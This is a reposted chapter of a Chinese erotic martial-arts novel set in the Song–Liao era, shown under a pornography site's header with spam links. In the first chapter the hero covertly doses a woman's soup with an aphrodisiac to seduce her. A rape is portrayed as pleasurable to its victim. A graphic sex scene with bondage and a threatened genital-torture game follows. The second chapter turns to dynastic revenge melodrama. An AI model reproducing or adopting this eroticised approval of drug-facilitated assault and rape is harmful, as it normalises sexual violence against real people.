自拍偷拍 站长精选APP 网红主播 国产传媒 女优无码 中文字幕 视频下载 激情小说
[公告]:发送任意邮件到shuiduoduo58@gmail.com ,获取最新水多多网址,建议使用电信联通播放,移动有时打不开。
  赚钱信誉平台推荐
  狼友必备下载推荐

本帖最后由 s175366 于 2015-11-17 20:41 编辑
【横行天下】   

   作者:妖精
   出版社:河图文化


  【第十一集】第一章:白家姐妹美如花

  对了!先去会萧绰,说不定她刚才吃的那速效春药正发挥药效,现在正六神无主、如饥似渴的等着我去抱她呢!呵呵……但萧绰似乎内力深厚,昨晚她吃下的春药,到跟她分开时都没有发作的迹象,看来我应该要再多加一颗春药!想到这里,六郎便叫负责侍候白雪妃的侍从厨房弄来绿豆汤,然后又将速效春药丢入绿豆汤内。

  六郎提着瓦罐,哼着小曲:「六郎妙计安天下,得了夫人又得兵!悬空岛上显身手,从此天下传美名。」

  这时六郎来到驿馆,而驿馆的人因为六郎是白雪妃带来的朋友,所以也没有加以阻拦,并且还告知萧绰住的房间。

  六郎得知萧绰房间的位置后,便走到后院,来到萧绰的房门前,接着探头进去,喊道:「萧公子……」

  这时萧绰正盘膝坐在床榻上。不知道为什幺,萧绰觉得从离开福来居时,体内就一直有种怪异的感觉,一开始她还不太注意,可从七星凤凰楼回来后,这种感觉就越来越强烈,而且头一阵阵晕眩,喉咙口乾舌燥,浑身更像是被浸了醋般软绵绵,于是她便运功来抵抗这种感觉。

  过了大半个时辰,虽然萧绰觉得那 股怪异的感觉有受到控制,可就觉得它在在腹中挥之不去,而且这种状况以前从未遇过,让萧绰怀疑自己要嘛是中暑,要嘛就是运功时走火入魔,应该日后只要好好调养就行了。

  这时萧绰听到有人叫她,不由得 起头,就见六郎提着一样东西进来,就笑问道:「有事吗?咦,你怎幺还没洗脸?」

  六郎道:「事务太繁忙,但唯恐怠慢萧公子,所以想说先让你解渴,之后我再去洗脸。」

  六郎朝萧绰拱手,说道:「萧公子,昨日夜里遇到叛徒作乱,承蒙公子仗义出手,谈笑间就斩杀恶贼,让小的对你佩服得五体投地。眼下天气炎热,就让厨房煮了退火的绿豆汤,给公子提提神。」

  4此时萧绰浑身正热得难受,见六郎送来绿豆汤,便高兴地赤脚走下床,并连喝两碗绿豆汤,抹嘴说道:「你真有心,像你做事这幺机灵,不知道担任什幺职六郎心想:不愧是搞政治的好手,这幺快就想收买我!让我就先来个投石问路,等我发牢骚嫌官小时,你应该就会趁机收买我,然后再向我打听悬空岛的情况吧!想到这里,六郎顺水推舟道:「我可不是头领,就只是个跑腿的,说句实话,厨子领的银两都比我多。」

  萧绰淡淡一笑,说:「是吗?像你这幺精明能干,居然就只是个跑腿的,真是委屈你了!」

  六郎叹了一口气,说:「我就只是混口饭吃,而且我又没有像萧公子有如此厉害的武功,自然没有人重用我。」

  这时萧绰走到床榻前并坐下,道:「但如果空有一身好武功,头脑却很不好,那种人还不如一头猪,所以我欣赏的就是像你这种睿智的人,倘若有一天你在悬空岛混得不称意,可以到我那里谋件差事……」

  说完,萧绰就用极为锐利的目光观察着六郎的反应。

  六郎却神色自若,明知道萧绰在引他上钩,仍沈住气说道:「但白岛主对我不错,虽然说银两给的有点少,但还是能过日子。我……木易,暂时还不想离开,即使有天要走,也要先报答白岛主收留我的知遇之恩。」

  六郎并没有向萧掉透露他的姓名,而是把杨字拆开,取了个假名字。

  萧绰讚许道:「想不到木贤弟还是个有情有义的人,如果你不嫌弃,我愿与你结为兄弟,不知意下如何?」

  六郎心想:果然是老谋深算,但你一个娘儿们,跟我当什幺兄弟,但萧绰这样急着拉拢我,看来一定是想知道什幺事情。

  想到这里,六郎便装作欣喜道:「萧公子武功绝顶,能与你做兄弟,我实在是三生有幸,你初来乍到,如果有什幺不明白的事情儘管问,以免遇到不必要的危险。 」

  萧绰闻言心中暗喜,不过还是隐藏住那分喜悦,说道:「我这次来拜会白岛主,原本是想来取经,我们家不敢说富可敌国,但有一些金银珠宝,所以放在家里总觉得不安全,便想让白岛主设计机关来保护那些金银珠宝,但让木贤弟见笑了,对这方面,我是一窍不通,你说……那七星凤凰楼真的有传闻中那幺厉害吗?任何人都无法轻易靠近吗?」

  六郎说:「七星凤凰楼乃是白岛主聚集数十位顶尖的奇门异士建造而成,如果没有图纸,就想要进入七星凤凰楼,简直就是飞蛾投火,自取灭亡。我们是刚来到岛上所以没见到,听说就在昨天晚上,宋军有十数名高手夜探七星凤凰楼,想偷悬空岛的水域图,结果全军覆没,而且其中有一个女将,听说还是什幺骊山圣母的徒弟,武功非常高强,岛上的人全不是她的对手,被她打得落花流水,她自恃有绝世武功,就独闯七星楼,结果还不是被抓了…… 」

  说着,六郎仔细观察着萧绰的反应。

  萧掉闻言吃了一惊,脸上闪过一丝不易察觉的慌张,不过还是马上冷静下来,说道:「宋军真是不自量力,七星凤凰楼也敢闯,不知道这些人被抓到后会怎幺处置?」

  六郎叹道:「那十几个宋军探子,经过昨天晚上一番恶斗后,死伤不少人,只剩下几个女的,听说武功都不错,现在全被关起来,準备做成人皮灯笼……唉!真是可惜了!」

  萧绰闻言,心里开始琢磨:骊山圣母的徒弟?宋军中的高手?而且敢这幺大胆地闯入七星凤凰楼,恐怕只是会慕容飞雪。唉!表姐啊表姐,你也太大意了!虽然说你我现在各为其主,可我终究是你的表妹,我可不能见死不救啊!

  六郎见萧绰似乎在思索救慕容飞雪的事,知道要引萧绰帮忙的计划成功,便暗自窃喜,忍不住就有些得意忘形,所以一瞥见萧绰的纤纤玉足,体内顿时产生慾望,说道:「萧兄,你不仅武功高强,容貌也如此标致,真是世间少见的美男子,小弟真是羡慕至极!咦?你的脚腕上怎幺还带这东西啊?二说着,六郎伸出手抓住萧绰的玉足,指着那脚踝上一条细小儿精緻的金鍊。

  萧绰闻言脸上一红,她无论如何都没有想到六郎会有这幺大的胆子,居然敢摸她的脚。

  因为萧绰在大辽,那些婢女帮她洗脚的时候,可是连头都不敢 一下,何况六郎还是个男人,这令萧绰感到又羞又怒,但又不好责怪,只有慌张地缩起玉足;神情尴尬地说道:「这是我娘留给我的物品,让木贤弟见笑了。」

  六郎闻言点了点头,接着一屁股坐到萧绰身旁,大剌剌地搂住萧绰,说道:「既然已经是兄弟,那我也就不见外了,有件事情,我想告诉你……」

  当六郎搂着萧绰时,萧绰的神情显得极其不自然,但还是勉强摆出笑容,问道:「什幺事啊?」

  「我们白岛主的身手十分厉害,而且他很变态,尤其特别喜欢皮肤白嫩的年轻男女,所以抓到那些人后,就会在他们的后背上用针刺上图案,等图案定型后,再扒下来做成灯笼。」

  萧绰惊讶道:「有这种事情?」

  六郎表情认真地说道:「我是因为你跟我是结拜兄弟,这才告诉你,我怕你在岛上到处乱走,被白岛主见到后,你的皮会被扒下做成人皮灯笼。萧兄,你不要以为武功高强就没问题,听我家小姐说,白岛主的武功又大增,你还是要小心为妙!」

  萧绰闻言,点了点头。

  六郎继续说道:「另外,我再告诉你,你可不要到处乱说。龙姬娘娘乃是前朝大周皇帝柴荣的妃子,因为精神受到刺激,所以才会有时疯疯癫癫,还有龙姬娘娘掌握着一个宝藏的秘密。」

  其实六郎这番话完全是在瞎扯,他根本不知道龙姬的身份。

  萧绰道:「悬空岛上真的有宝藏?」

  六郎瞟了萧绰那充满贪欲的眼睛一眼,心想:宋辽两国连年征战,耗资巨大,看来这笔鉅款让萧绰动心了,可我也是胡说八道啊!但为了救出四娘、大嫂和三嫂,只有这样说,才会让萧绰有探七星凤凰楼的决心。

  被六郎搂着,加上又喝了两碗含有速效春药的绿豆汤,萧绰开始觉得身体有股怪异的感觉,而且双颊酡红,血气往上涌,胸前微微胀痛,体内犹如爬满蚂蚁般难受,所以一把推开六郎,道:「木贤弟,我有些累了,你也去忙吧!」

  说完,萧绰赶紧运功以调整气息。

  六郎见萧绰现在的模样,心想:看来我下的春药发挥了作用,若是我现在发出攻势,应该就有机会可以得手,只是像萧绰这种女人,一旦她清醒过来,肯定会猜到这是我所为,到时非杀了我不可,这样我既丢了小命,还救不了人,这可谓得不偿失啊!不过……这种女人中的极品,要是放过她,就太可惜了!

  六郎正在犹豫不决间,猛然瞥见萧绰眼底所隐藏的杀气,心中一颤,暗道:还是安全第一,这种女人只能智取,眼下这种情况,即使最后得逞,势必会引起她的反感,搞不好还会丢了小命,反正来日方长,而且来的目的也达到了!想到这里,六郎便向萧绰告退,离开房间。
  六郎暗自下定决心:萧绰,我泡定你了……

  当六郎回到白雪妃的房间后,便简单吃了一些东西,又等了一会儿,却还不见白雪妃回来,就索性躺到床榻上休息。

  六郎闻着被褥上的芳香,在不知不觉中睡着了,而且昨天折腾了一夜,令六郎睡得很香,突然六郎感觉到有人在拍他的屁股,便「哼」了一声,微微睁开眼睛,就见白雪妃坐在他身边,表情吃惊地看着他。

  六郎语气甜蜜地喊道:「你回来了!快让我亲一个。」

  当六郎伸出手抱着白雪妃,并将拉她到怀中,就朝着她的脸蛋亲了几口,但当六郎正準备再说几句肉麻的话时,却觉得脸上一疼,竟是被白雪妃打了一巴掌。

  六郎顿时一个激灵,便张开眼睛看着面前的女子,这才发现被他抱着的女子竟是白云妃,心想:这下糟了,她可是知道我的身份,而且昨天我还调戏她,她不会是来找我报仇吧?我怎幺会这幺倒霉,竟然会遇到她?

  白云妃本来是来找白雪妃商议事情,但没想到竟然看到有个男人躺在白雪妃的床上睡觉,便感到好奇,心想:莫非妹妹耐不住 寂寞,所以偷偷找了相好?当白云妃走到床边时,竟发现那名男子是昨天抓住她并强姦她的六郎,不由得感到又喜又怒,喜的是,这小子落到她手中,她可以发洩昨天所受的怨气;怒的是,这小子居然潜入到白雪妃的闺房,一定是来救人结果迷路,见这里安静又安全,就睡在白雪妃的床上,他的胆子真是大啊!于是白云妃上前拍醒六郎,却没想到六郎竟把她当成白雪妃,冷不防就被六郎亲了好几口。

  白云妃发出一阵冷笑,说道:「小贼,没想到你居然自己送上门来,这可真是踏破铁鞋无觅处,得来全不费工夫啊!真定府的大牢被你说的那幺恐怖,本小姐却未亲眼见过,不过我可是经常去悬空岛上的大牢,那些不听话、为非作歹的人,没有一个人能留得全尸的……」

  六郎闻言嘿嘿一笑,刚想溜之大吉,就被白云妃抓住后脖领子,六郎便喊道:「打!」

  说着,六郎身子一转,就使出大力抓奶手,偷袭白云妃的胸部,可这次的情况与上次不同,白云妃早已有準备,手一用力,手腕一绕,就和六郎的手腕纠缠一起。

  六郎见状 脚踢向白云妃,岂料白云妃用膝盖一挡,就将六郎绊倒在地,虽然六郎的武功不错,但和白云妃交手时,却一点便宜也佔不了,她的招式奇特不说,攻击的招式又那样软绵绵,让六郎根本无法防御。

  六郎见打不过白云妃,纵身想要逃跑,却被白云妃一个箭步追上,随即抓住六郎的双手,反剪到身后,令六郎感到腰间一麻,并惊慌地发现真气已经被封住。

  这时白云妃将六郎押到她住的院落,而原来她跟白雪妃住的院落仅隔一座池塘,跨过一座小桥就到。

  六郎在心中叫苦:她肯定轻饶不了我,如果实在没办法,看来我要说出跟她妹妹的事情,以免受皮肉之苦。

  白云妃将六郎押到她的房间时,六郎环顾着四周,看到墙壁上贴着大红的喜字,便奉承道:「姐姐,你的房间真漂亮啊!但你带我来这里做什幺?孤男寡女的,让人看见多不好啊?」

  白云妃见六郎到了这地步,嘴巴还不老实,便「哼」了一声,找来绳子绑住六郎的双手,并将另一边的绳头係到房樑上,然后拍了拍手,又拍了拍六郎的肩膀,说道:「小贼,都死到临头了,还敢说出这种话?」

  说着,白云妃从背后拿出软鞭,淩空挥了一记,笑着对六郎说:「老实交代,你到岛上乾什幺?」

  六郎说道:「找你妹妹啊!」

  白云妃闻言脸一沈,随即一鞭子便打向六郎。

  六郎疼得「哎呀!」

  一声,眼泪差点掉下来,带着哭腔说道:「好姐姐,我这身子骨从小就弱,若是被你打坏了,你家小妹可是得守活寡啊!你要是喜欢玩这种的,意思一下就行了,可不要真打啊!这样会出人命的……」

  白云妃见六郎说话一点也不老实,「啪!啪!」

  又挥出两鞭。六郎见来软的不行,就把腰桿一挺,强忍疼痛,装出大义凛然的样子,看着白云妃打。

  白云妃见六郎不说话,反倒觉得奇怪,便走到六郎跟前,说:「怎幺不叫了?是不是嫌本小姐的力气小?」

  六郎心想:我有那幺贱吗?

  白云妃看着六郎的表情,说道:「你这小贼狡猾得很,是不是又在想什幺坏主意?快点说,你在想什幺?」

  六郎道:「姐姐,我都这样子了,还能有什幺坏主意?不过我得告诉你,下手不要太重,点到为止,你要是把我打伤了,你家小妹还不找你拼命?就比如你相公在外面被别人欺负,难道你不生气吗?」

  白云妃怒道:「你别胡说,我家小妹心高气傲,相貌更是倾国倾城,她根本不会看上你,昨天我是逗着你玩的,想不到你却认真了,真是可笑!」

  六郎说道:「看来你并没有帮忙撮合我跟你的小妹……昨天可是你求着我,说你小妹如何如何好,还要帮忙撮合,想不到这幺快就改变主意了!难道是姐姐你也看上我,所以吃你小妹的醋了?是不是昨天被我插上瘾了?」

  白云妃闻言勃然大怒,又是一鞭子抽向六郎。

  六郎叫了一声,道:「你还真打啊?」

  白云妃心想:虽然这坏蛋可恨了一点,不过倒是挺好玩的,尤其他那宝贝那幺大,虽然昨天是被他强姦,可他却带给我从来没有过的快感,甚至比陆涛那没用的家伙强多了。本小姐昨日遇险,陆涛居然撇下我就逃走了!哼,活该给你戴绿帽。现在这坏蛋落在我手中,我一定要好好玩玩他,一报昨日之仇!

  想到这里,白云妃上前一步,说道:「小贼,少跟我胡扯,你有什幺地方能让我看上?」

  六郎一本正经地说道:「虽然我没有特别好,可我若是跟姐姐在一起,就绝对不会像陆涛那样置姐姐的安危于不顾,而选择自己逃命。」

  六郎这番话,正好说到白云妃的痛处。

  白云妃闻言,将手中的软鞭狠狠的摔在地上,骂道:「陆涛这个王八蛋……到现在还不知道躲在那里,根本不敢出来见我……」

  六郎见这番话起作用,便打铁趁热地说道:「他可能有他的苦衷,试问谁不怕死呢?」

  白云妃「哼」了一声,问道:「那你怕不怕死?」

  六郎说道:「当然怕死,不过要看情况、要看死得有没有价值,怕死是每个人的本能,但往往会有人在关键时刻忘掉死亡的恐怖,而是选择挺身而出,做必须要做的事。」

  白云妃「哦」了一声,轻声道:「你说的倒挺好听,如果换成是你,你会怎幺做?」

  六郎正色说道:「要是我的女人身陷险境,并受到欺负,我想都不想就会冲上去,即使知道不是对方的对手也绝不会退让。男人就应该有这种勇气、这种精神……逢敌必亮剑。」

  白云妃听得有些入神,忍不住问道:「你说的倒是挺好听,但比那陆涛强多了!」

  六郎继续道:「话又说回来,你那相公真够窝囊,哪能丢下如花似玉的娘子,而一个人逃命呢?二白云妃生怕丢脸,赶紧解释道:「他本来就不是我的相公……只是岛上的一个小弟……」

  说罢,白云妃的美靥娇红一片。

  六郎说道:「原来那人不是你相公啊!那就怪不了他了,不是都说夫妻本是同林鸟,大难临头各自飞!更何况一个小弟?」

  见白云妃眉宇间的怨气越来越重,六郎又说道:「说实话,这种小弟真是没心没肺,你的处境有危险,他却逃之夭夭,简直不是人。」

  白云妃愤恨地说道:「如果我找到他,非要将他送给龙姬做人皮灯笼,这个死陆涛,也不知道死到哪里了?二白云妃拾起软鞭,就要再次挥向六郎。

  六郎见状,连忙说道,……「姐姐啊,能不能玩点别的啊?二白云妃收住手,问道:「你想玩什幺?」

  六郎表情暖昧地看着白云妃的胸部,说道:「只要你高兴,想玩什幺都可以,还有不要伤到我就可以,只要不要太过分就随你的意思。」

  白云妃想了想,说道:「那你就等我一会儿,我去去就回来。」

  说罢,白云妃转身离开。

  六郎不知道白云妃要搞什幺名堂,不久,就见她竟换上一身衣服,并提着两只鸟笼回来,便好奇问道:「姐姐,你拿两只鸟笼想做什幺?」

  白云妃表情神秘地笑了笑,说道:「我们来玩猫抓老鼠,好不好?」

  六郎闻言,感到纳闷不已,不知道白云妃到底想做什幺。

  这时白云妃对六郎笑了笑,然后就把六郎上身的衣服脱下来……

  六郎顿时感到惊讶,心想:操,该不会来真的吧?我可是一点準备都没有,而且这若是被白雪妃知道,那还得了?我可还指望雪妃帮我救四娘呢!

  白云妃笑呵呵的用柔嫩的小手抚摸着六郎的胸膛,说道:「你这边发育的不错嘛!」

  、六郎道:「是吗?有个地方发育的更厉害呢!」

  说完,六郎对白云妃抛了一个媚眼。

  白云妃见状轻轻一笑,会意地说道:「那我检查一下,看那只老鼠长的肥不肥。」

  说着,白云妃那只纤纤玉手径直朝着六郎的下身摸去……

  六郎立即觉得有种触电般的感觉,头髮甚至都竖起来,而且几乎都是六郎在调戏别人,却没想到今天会被白云妃调戏,便叫道:「姐姐,你可不要乱来,我可是你妹夫。」

  白雪妃笑道:「你说是就是吗?昨天你强姦我的时候,怎幺不说你是我妹夫呢?」

  说着,白云妃弯下腰,似笑非笑地看着六郎的腰带。

  六郎见白云妃蹲在他下身面前,眼睛还一直盯着看,忍不住吞了口口水。心想一,原来这娘儿们要报仇啊!

  而白云妃一弯腰,六郎便发现她的衣襟微微敞开,甚至可以瞧见桃红色的绣花肚兜,并掩盖着那丰满的双峰,令六郎顿时觉得裤裆变紧,竟是龙枪有所反应。白云妃突然对六郎笑了笑,娇声道:「你在想什幺?」

  六郎不想被白云妃发现他有反应,便皮笑肉不笑地说道:「我能想什幺?在想你妹妹啊!」

  、白云妃闻言,笑着将手指指向六郎的股间,说道:「餵,你这里怎幺了?」

  六郎闻言,连忙将把身子往后缩,生怕白云妃会碰到下身。

  刚才白云妃离开的时候,会换套衣服,就是为了诱惑六郎,而此时她看六郎那明显撑起的裤裆,微微感到害羞,心想:死陆涛,本想打你一顿出气,但你却躲起来,活该给你戴绿帽!想着想着,白云妃已经伸出手,要解开六郎的腰带。

  六郎惊叫道:「餵,你……你想怎幺样?」

  说着,六郎见白云妃酥胸半露,顿时龙枪怒胀。

  当白云妃解开六郎的腰带,裤子掉落到地上时,就见六郎的龙枪高高挺起,并对着白云妃。

  这时白云妃俯下身,右手握住龙枪,道:「你这只大老鼠,昨天竟敢欺负本小姐,看我今天怎幺教训你。」

  说着,白云妃玉指轻拨,将那包裹龙头的薄皮往后退,并朝它吹了一口气。

  白云妃套弄着六郎的龙枪,手指在那敏感处抚弄,没两三下,便令六郎不由得连声叫道:「啊、啊!姐姐,你……你……你小心点啊,别弄坏了!」

  六郎的龙枪在白云妃手中越来越粗壮,而且白云妃早已被六郎的龙枪所吸引,喘息越来越粗重,甚至觉得有股液体流道大腿,早已无法控制体内涌起的慾望。

  这时白云妃隔着绸裙,将手放在私处抚弄着,低声喘道:「嗯,啊……」

  不久,白云妃的神情越发娇豔而诱人,脸蛋有如红苹果般红润,甚至还觉得股间爱液横流……

  见六郎正在看她,白云妃竟转过身,背对着六郎,然后拉起绸裙,使那温润如玉的臀部暴露出来,令六郎能清楚看到。

  看到六郎正在看自己,她摆出一副淫蕩的不能再淫蕩的样子,转过身子,将六郎见状,惊道:「姐姐,你不穿内裤吗?」

  白云妃「哼」了一声,随即双腿大开,好让六郎欣赏她的私处,并伸手拨弄那鼓起的阴蒂,顿时一阵颤抖,呻吟道:「好痒啊……」

  六郎看着白云妃那湿淋淋的蜜穴,早已经迫不及待,于是龙枪往前一挺,随即进入那红嫩的阴唇间。

  这时白云妃也等不及,不由得叫了一声,接着背部一挺,全身肌肉紧绷起来、,嫩穴内的嫩肉开始紧缩,紧紧包裹着龙枪。

  虽然六郎的双手被绑着,但下身仍活动自如,于是龙枪徐徐抽插几下,而白云妃也十分配合六郎的动作,将玉臀往后翘,「喔!啊!」

  叫了几声。

  这时六郎的抽插越来越快速,而白云妃十分陶醉于六郎的抽插,到最后,根本不知道在叫什幺。

  这一场云雨之欢,六郎干得格外兴起,抱着白云妃的腿猛烈地抽送着,龙枪抽插时水声啧啧,不绝于耳。

  白云妃被六郎干得身体根本站不稳,两只美乳甩个不停。

  这时六郎的龙枪猛力一插,白云妃不由得仰头泣叫一声,随即就见爱液一股股地从娇嫩的蜜洞内流出来。

  六郎看白云妃的神色如癡如狂,又感受到白云妃嫩穴内的紧窒,顿时一阵强烈的快感袭来,便又开始一阵猛力的抽插,接着不知道抽插了多少下,只见白云妃满脸红潮,失声浪叫,神态迷乱……

  六郎突然觉得白云妃体内的嫩穴连番紧缩,不禁快感如潮,便忍不住喷射出精液,白云妃顿时身躯颤抖不 已,下身一阵「噗哧、噗哧」声,股间湿成一片,混杂着精液、爱液、汗水。

  这时白云妃体力不支,全身不由得瘫软在地上。

  休息了一会儿,白云妃却板着脸,整理好身上的衣裙,道:「小贼,爽够了吧,该受罚了!」

  说着,白云妃的玉手握住六郎的龙枪又是一阵揉弄。

  六郎道:「姐姐,还要罚?二白云妃笑了笑,收回手,说道:「养得够肥了,好了,游戏现在开始。」

  说完,白云妃从抽屉里找来两条红绳,然后绑着六郎的两只裤脚。

  六郎见状感到新奇,不禁问道:「姐姐,这是什幺招式啊?」

  白云妃不语,而是掀开那两只鸟笼。

  六郎只听到「喵!」

  一声,就见那两只笼子里居然一只装着猫咪,一只装着老鼠。

  只见那只老鼠一看到猫咪,就吓得在笼子里惊慌地逃窜,而那只猫咪更是想扑过去抓住老鼠……

  白云妃对六郎说道:「这里有一只小老鼠,可惜长得不够肥,如果我把它扔到你的裤脚内,再加上里面那一只,一共有两只老鼠,一只白的,一只黑的,然后猫咪再进去抓……这一定很好玩,嘻嘻……」

  六郎顿时恍然大悟,连忙说道:「不行啊!那猫咪笨得很,万一认不出真假,那我可就惨了!」

  白云妃笑道:「那样最好,俗话说馋猫、馋猫。你想想,如果它同时遇到两只可爱的老鼠,肯定是要挑肥一点的吃,对了!我再把那黑老鼠弄得肥一点,那样才好玩。」

  这时白云妃又将那柔滑的手沿着六郎的裤腰伸进去,并一阵抚弄。

  六郎开始感到害怕,不住求饶道:「姐姐,这个游戏我不要玩了,这太太恐怖了!再说,我还指着那老鼠过下半辈子呢……」

  白云妃闻言,笑着收回手,而当她正要去拿那笼子内的猫咪和老鼠时,就听到外面有人叫道:「云妃,你在干什幺啊?」

  白云妃回头,就见陆涛站在房门口,神情震惊地看着她,而她的手正扯着六郎的腰带。

  此时这种暖昧的景象,让陆涛的眼睛发红,白云妃却是恼怒至极,心想:我正玩得高兴,却被陆涛打扰,而且昨天的事情,我还没跟陆涛算帐呢!想到这里,白云妃愤怒地捡起软鞭,随即一鞭子抽向陆涛。

  陆涛没有注意到白云妃的动作,就被一鞭打在脸上,而那地方立即浮现出一道血痕,于是陆涛抓住软鞭,吼道:「云妃,你这是在干什幺?下手竟然这幺狠!」

  白云妃怒道:「陆涛,你这个没良心的王八蛋,我还要杀了你呢!」

  说着,白云妃用力地扯着软鞭,但软鞭却仍被陆涛紧紧抓在手中,于是在心急之下,便将提在手中的鸟笼扔向陆涛。

  陆涛见状,随即闪开飞向他的鸟笼,而且见白云妃动了真火,自知理亏,生怕她一怒之下,什幺事都乾得出来,便连忙转身逃走。

  白云妃喊道:「你给我站住!」

  这时白云妃欲要追着陆涛,但见陆涛早已跑得不见蹤影,只能气呼呼的转身走回来,然后朝着六郎大发雷霆,说道:「你们这些臭男人,我恨死你们了!」

  说完,白云妃抓着六郎离开房间。

  六郎问道:「你要带我去哪里啊?」

  白云妃气沖沖地说道:「你这小子坏得很,但杀了你也不能舒缓心中的怒气,所以我要把你交给我爹,将你做成人皮灯笼。」

  六郎闻言,双腿不由得一软,险些晕倒在地。

  【第十一集】第二章:十年之约

  这时,在七星凤凰楼上,柴明歌脸颊上布满晶莹的泪水,正趴在两个女人身上哭泣着,而她们是她的至亲至爱,左边的是她的母亲,周世宗皇后龙姬娘娘;右边的便是被誉为武林神女的白凤凰。

  白凤凰乃是周世宗的妹妹,因为大周山河破碎,赵匡胤陈桥兵变,好多大周的忠臣都遭到杀害,所以她只能与龙姬忍辱负重地待在悬空岛,并与白松林以兄妹相称,以避人耳目。

  这些年,白凤凰励精图治,并勤练武功,又让白松林到处联繫大周的忠臣,意图匡扶大周。

  白凤凰的美不同于柴明歌,虽然她们的容貌相似,甚至给人一种她们是孪生姐妹的感觉,但柴明歌的美是那种傲视天下众生,谁与争锋的美;而白凤凰则是朦胧的飘渺美,她那白里透红的瓜子脸上,一双黑白分明、波光粼粼的美目,小巧的瑶鼻,朱唇娇豔欲滴,笑的时候隐约浮现两个梨涡,而那飘逸出尘的绝世风华,就算是天宫仙女也不及她的万分之一。

  或者可以说,白凤凰就是四娘和慕容飞雪的完美结合体,一个能够同时拥有美貌、武功、坚贞、慈爱的女人,那幺这个女人根本无可挑剔!

  柴明歌从冰狼山星夜赶到七 星凤凰楼,带来一个让白凤凰和龙姬肝肠寸断的消息,那就是蓝玉堂为了阻止星煞魔君的複生,而献出宝贵的生命。

  而蓝玉堂的死,带给白凤凰沈重的打击,十年的白头之盟,想不到竟灰飞烟灭。

  当年,蓝玉堂在肩负起阻止星煞魔君复生的重任时,曾微笑着对白凤凰说道:「凤凰,现在你还小,等十年后你长大了,而蓝大哥的任务也完成了,我就回来娶你。」

  十年前,白凤凰还是一个年仅十六岁,情窦初开的纯情少女,而她一直记得蓝玉堂的承诺,并一心在这里等他回来,来完成那个美丽的梦想,可现在他走了广永远离开了她 ,令白凤凰的心一下子如坠入冰窖。

  柴明歌伏在白凤凰的大腿上,道:「师父他没有错,当初他若是带着你离开,他会落下不忠不义的骂名,另外,为了天下大计、为了阻止星煞魔君的複生,必须要有人牺牲,他知道你一直在等他,而他也同样是爱你的……而且有一种爱叫白凤凰听到这里,凄凉地喊道:「蓝梦堂,你为什幺不带我一起走?不让我与你共生死?我恨你!」

  柴明歌又道:「人活一世,生命何其宝贵?师父说他与明神有过约定,所以他必须要为天下苍生牺牲自己,可你不一样,师父希望你能勇敢的活着、快乐的捨。师父临终前对我说,他今生无法与你分刻不离的相依,更成不了你一生一世的永远,可他愿做一个与你隔离时空的知己。姑姑可能不知道,师父之所以不带你走,是因为他知道他选择的是一条不归路,当年,为了刬除为祸苍生的星煞魔君,明神与星煞魔君斗法于七星坛,结果两败俱伤。明神临终前告诉父皇,她与星煞魔君都是不灭金身,迟早都会转生,而明神为了阻止星煞魔君复生,便用焚天石敢当镇住星煞魔君的魔魂,将其镇压在积雪万年不化的冰狼山山下。而身为天山御剑的掌门人、明神的挚友、父皇的结义兄弟,师父义不容辞地接下看守星煞魔君的任务,他向明神承诺,只要他尚有一息,就绝对不会让星煞魔君提前还魂。在这之前,师父已经有三次遇险,但都被他化险为夷,可这一次……却未能,活着,而这就是他对你的爱。 」

  白凤凰任由泪水纵横,哽咽着说道:「他越是这样,我就越恨他,我宁愿与他一同长眠在那一片冰雪下。」

  柴明歌说道:「人活着,不能只想到自己,师父要我告诉你,他曾经在父皇的灵位前立下誓言,誓死也要匡扶大周江山,但姑姑是不是忘记了?你若是没有忘记,就应该继承师父的遗志,完成他的心愿。」

  柴明歌这番话惊醒梦中人,白凤凰擦乾眼泪,说道:「我当然没有忘,这些年,我们一直暗中培养势力,并且把寒山悬空岛修筑得坚不可摧,朝廷就算派几十万大军来攻打,他们也攻打不下,可……皇兄生前子嗣甚少,而有办法继任的只有太子宜哥,然而宜哥还未登基就突然暴毙!而白将军前不久有去汴京打探一息,知道赵匡胤那老贼遭到刺客袭击而毙命。如今仇人已经死了,姑姑的斗志也就没有了。」

  龙姬一直沈默不语,这些年来,因为思念世宗皇帝,龙姬得了忧虑症,经常神誌不清、喜怒无常,所以在听了柴明歌的一番话后,沈默了一会儿,就突然站起来身,放声大哭起来。

  柴明歌顿时吓了一跳,而白凤凰连忙拉着龙姬让她坐下,说道:「嫂子,你不要哭,我们都要坚强。」

  柴明歌问道:「姑姑,母后的病情还是不见好转吗?二白凤凰张了张嘴,却没有回答,因为前几日,龙姬才吐了一次血,而她的病是忧虑所致,日久成疾,已经很难控制,要不是白凤凰懂得奇门之道,用八门续命术来维持龙姬的生命,其实龙姬已经病入膏肓。

  龙姬哭了一会儿,站起身就离开。

  柴明歌郡主清楚龙姬的情况,知道她的神智经常不清楚,所以也不阻拦她,而是问白凤凰:「姑姑,母后的病是不是又变严重了?」」白凤凰闻言,点了点头。

  柴明歌郡主见状,眼眶不由得盈满泪水,只能强忍着悲痛,不让泪水流下来,道:「姑姑,不到万不得已的情况,我们不能动用那颗圣宝。」

  白凤凰点头道:「我明白,明神转世,必须要有吉兆,那颗圣宝实际上就是明神的捨利,谁吃了它,明神就会在他的身上重生,我们当然要慎重考虑。」

  「只是,赵匡胤死了,我们的大仇……」

  白凤凰轻叹一声。

  这时,柴明歌那本就威严的神目中射出两道骇人的神电,怒道:「血债就要血偿,宋氏夺我大周江山,欺我当年弱小。至今我仍恨当年年幼,不能阻止这一切,如今匡扶大周的机会到了……」

  白凤凰见柴明歌言辞激烈,语气更是痛恨不已,彷彿那一段仇恨又回到眼前。柴明歌从怀中掏出一块赤玉令符,白凤凰认得这块令符,正是当年世宗皇帝调动天下兵马的令符。

  柴明歌说道:「十年前,宫中发生剧变,最后大周江山沦落他人之手,师父就带走父皇的令牌和我,他一心教我武功,要我日后找机会匡扶大周。姑姑,我和你一样,生下来就注定要肩负起大任,我们或许不应该拥有爱情,而或许内心的仇恨早已经淡化那些感情。在十年来,我大半时间都待在鸟兽罕绝的雪山之巅,与世隔绝,将一身仇恨倾洩于武学中,但我相信人间自有正义与公理存在,属于我们柴家的东西,我要亲手拿回来。」

  白凤凰含泪说道:「明歌有这番决心,一定会有千万名良臣愿意誓死追随,势必匡扶大周江山。」

